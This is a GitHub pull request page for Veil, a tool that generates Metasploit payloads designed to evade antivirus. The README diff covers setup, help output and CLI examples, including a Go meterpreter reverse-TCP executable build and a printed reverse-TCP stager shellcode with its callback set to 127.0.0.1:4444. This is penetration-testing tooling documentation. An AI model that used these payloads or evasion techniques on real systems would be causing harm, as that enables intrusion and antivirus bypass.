Skip to content
This repository has been archived by the owner on Jan 10, 2024. It is now read-only.

Applying Kali's Patches & Other stuff #189

Merged
merged 38 commits into from
Apr 23, 2018
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
38 commits
Select commit Hold shift + click to select a range
faed72f
Fix #188 (Tools/ -> tools/)
g0tmi1k Apr 10, 2018
9dc87d0
Apply Kali patches upstream & improve config
g0tmi1k Apr 10, 2018
af14559
Convert update-config.py to python3
g0tmi1k Apr 10, 2018
73a1bd1
Apply Kali patches to upstream
g0tmi1k Apr 10, 2018
5210cbf
Change from --setup to config/setup.sh
g0tmi1k Apr 10, 2018
2a9b2bd
Misc fixes and improvements
g0tmi1k Apr 11, 2018
0dfb702
Add GoLang to config file
g0tmi1k Apr 11, 2018
16cbe08
Add options and check WINE paths
g0tmi1k Apr 11, 2018
ca94960
Spacing
g0tmi1k Apr 11, 2018
771ee03
Only clear when asked
g0tmi1k Apr 11, 2018
de825ad
Import settings
g0tmi1k Apr 11, 2018
a1593b4
Typos
g0tmi1k Apr 11, 2018
fe320f6
Removed un-used values from config
g0tmi1k Apr 12, 2018
b3ec443
Add another clear check
g0tmi1k Apr 12, 2018
12eaaa3
Switch to 'use' rather than 'payload'
g0tmi1k Apr 12, 2018
1b7ac76
Misc formatting
g0tmi1k Apr 12, 2018
8a94b3b
Menu work
g0tmi1k Apr 12, 2018
3cacc35
Fix #191
g0tmi1k Apr 12, 2018
42f40c5
Set default BadChar
g0tmi1k Apr 12, 2018
390b07e
Fix the example BadChar message
g0tmi1k Apr 12, 2018
f1bcb30
Menu work - Don't go back to the main tool menu after being gen
g0tmi1k Apr 12, 2018
1f7128f
Fix handler bug - where it wouldn't create, but says it had.
g0tmi1k Apr 12, 2018
4325498
Order clean up
g0tmi1k Apr 12, 2018
4920c26
Able to use numbers, as well as full names
g0tmi1k Apr 12, 2018
01fb5df
README update
g0tmi1k Apr 13, 2018
d966c03
Add Examples to READMEs
g0tmi1k Apr 13, 2018
51221cb
Typos
g0tmi1k Apr 13, 2018
8915e56
Restore returning to menu after generating
g0tmi1k Apr 13, 2018
1ece1d0
Gave the CLI command line some love. Much more verbose/user friendly
g0tmi1k Apr 16, 2018
f97af46
Fix menu prompt
g0tmi1k Apr 16, 2018
796236d
Standard payload output based on everything else
g0tmi1k Apr 17, 2018
16246cb
Errors look the same
g0tmi1k Apr 17, 2018
82e594b
Menu and output work
g0tmi1k Apr 17, 2018
8c28f0e
Misc
g0tmi1k Apr 17, 2018
4791e2a
Start fresh with FORCE enabled
g0tmi1k Apr 18, 2018
1e0c429
Applying 2x @ChrisTruncer's changes ~ #189 (Calling python & MSF path)
g0tmi1k Apr 23, 2018
9ee3f81
More verbose setup handling
g0tmi1k Apr 23, 2018
83558fa
Added sudo for setup command for usability purposes
ChrisTruncer Apr 23, 2018
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
184 changes: 174 additions & 10 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ Veil is a tool designed to generate metasploit payloads that bypass common anti-
Veil is current under support by @ChrisTruncer

- - -

## Software Requirements:

The following OSs are officially supported:
Expand All @@ -31,7 +32,7 @@ The following OSs are likely able to run Veil:

```bash
apt -y install veil
veil --setup
/usr/share/veil/config/setup.sh --force --silent
```

### Git's Quick Install
Expand All @@ -44,33 +45,196 @@ veil --setup
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./Veil.py --setup
sudo bash config/setup.sh --force --silent
```

### ./config/setup.sh // Setup Files

This file is responsible for installing all the dependences of Veil. This includes all the WINE environment, for the Windows side of things. It will install all the necessary Linux packages and GoLang, as well as Python, Ruby and AutoIT for Windows. In addition, it will also run `./config/update-config.py` for your environment.

It includes two optional flags, `--force` and `--silent`:
```bash
--force ~ If something goes wrong, this will overwrite detecting any previous installs. Useful when there is a setup package update.
--silent ~ This will perform an unattended installation of everything, as it will automate all the steps, so there is no interaction for the user.
```

This can be ran either by doing: `./Veil.py --setup` OR `./config/setup.sh --force`.

### ./config/update-config.py // Regenerating Configuration file

This will generate the output file for `/etc/veil/settings.py`. Most of the time it will not need to be rebuilt but in some cases you might be prompted to do so (such as a major Veil update).

It is important that you are in the `./config/` directory before executing `update-config.py`. If you are not, `/etc/veil/settings.py` will be incorrect and when you launch Veil you will see the following:

```bash
Main Menu

0 payloads loaded
```

Don't panic. Run either: `./Veil.py --config` OR `cd ./config/; ./update-config.py`.

### Py2Exe

**NOTE**: Using **Py2Exe** is recommended over Pyinstaller _(as it has a lower detection rate)_.
**NOTE**: Using **Py2Exe** is recommended over PyInstaller _(as it has a lower detection rate)_.

Install on a Windows Computer:
MANUALLY Install on a Windows Computer (as this isn't done by Veil's setup):

- [Python 3.3](https://www.python.org/downloads/release/python-335/)
- [Py2Exe](https://pypi.python.org/pypi/py2exe/)
- [PyCrypto](http://www.voidspace.org.uk/python/modules.shtml#pycrypto)
- [PyWin32](https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/)

### Regenerating Configuration file
- - -

Most of the time the config file at `/etc/veil/settings.py` will not need to be rebuilt but in some cases you might be prompted to do so. The file is generated by `./config/update-config.py`.
## Example Usage

It is important that you are in the `config`/ directory before executing `update-config.py`. If you are not, `/etc/veil/settings.py` will be incorrect and when you launch Veil you will see the following.
Veil's Main Menu:

```bash
Main Menu
$ ./Veil.py
===============================================================================
Veil | [Version]: 3.1.5
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

0 payloads loaded
Main Menu

2 tools loaded

Available Tools:

1) Evasion
2) Ordnance

Available Commands:

exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool


Main menu choice:
```

**Help**
```bash
$ ./Veil.py --help
usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
[--version] [--ip IP] [--port PORT] [--list-payloads]
[-p [PAYLOAD]] [-o OUTPUT-NAME]
[-c [OPTION=value [OPTION=value ...]]]
[--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
[--compiler pyinstaller] [--clean] [--ordnance-payload [PAYLOAD]]
[--list-encoders] [-e ENCODER] [-b \x00\x0a..]
[--print-stats]

Veil is a framework containing multiple tools.

[*] Veil Options:
--list-tools List Veil's tools
-t TOOL, --tool TOOL Specify Veil tool to use (Evasion, Ordnance etc.)
--update Update the Veil framework
--setup Run the Veil framework setup file & regenerate the
configuration
--config Regenerate the Veil framework configuration file
--version Displays version and quits

[*] Callback Settings:
--ip IP, --domain IP IP address to connect back to
--port PORT Port number to connect to

[*] Payload Settings:
--list-payloads Lists all available payloads for that tool

[*] Veil-Evasion Options:
-p [PAYLOAD] Payload to generate
-o OUTPUT-NAME Output file base name for source and compiled binaries
-c [OPTION=value [OPTION=value ...]]
Custom payload module options
--msfoptions [OPTION=value [OPTION=value ...]]
Options for the specified metasploit payload
--msfvenom [] Metasploit shellcode to generate (e.g.
windows/meterpreter/reverse_tcp etc.)
--compiler pyinstaller
Compiler option for payload (currently only needed for
Python)
--clean Clean out payload folders

[*] Veil-Ordnance Shellcode Options:
--ordnance-payload [PAYLOAD]
Payload type (bind_tcp, rev_tcp, etc.)

[*] Veil-Ordnance Encoder Options:
--list-encoders Lists all available encoders
-e ENCODER, --encoder ENCODER
Name of shellcode encoder to use
-b \\x00\\x0a.., --bad-chars \x00\x0a..
Bad characters to avoid
--print-stats Print information about the encoded shellcode
$
```

Don't panic. Run: `./Veil.py --config`.
**Veil Evasion CLI**

```bash
$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

[*] Language: go
[*] Payload Module: go/meterpreter/rev_tcp
[*] Executable written to: /var/lib/veil/output/compiled/payload.exe
[*] Source code written to: /var/lib/veil/output/source/payload.go
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$
```

**Veil Ordnance CLI**

```bash
$ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444
Payload Name: Reverse TCP Stager (Stage 1)
IP Address: 127.0.0.1
Port: 4444
Shellcode Size: 287

\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
$
```

- - -

Expand Down
Loading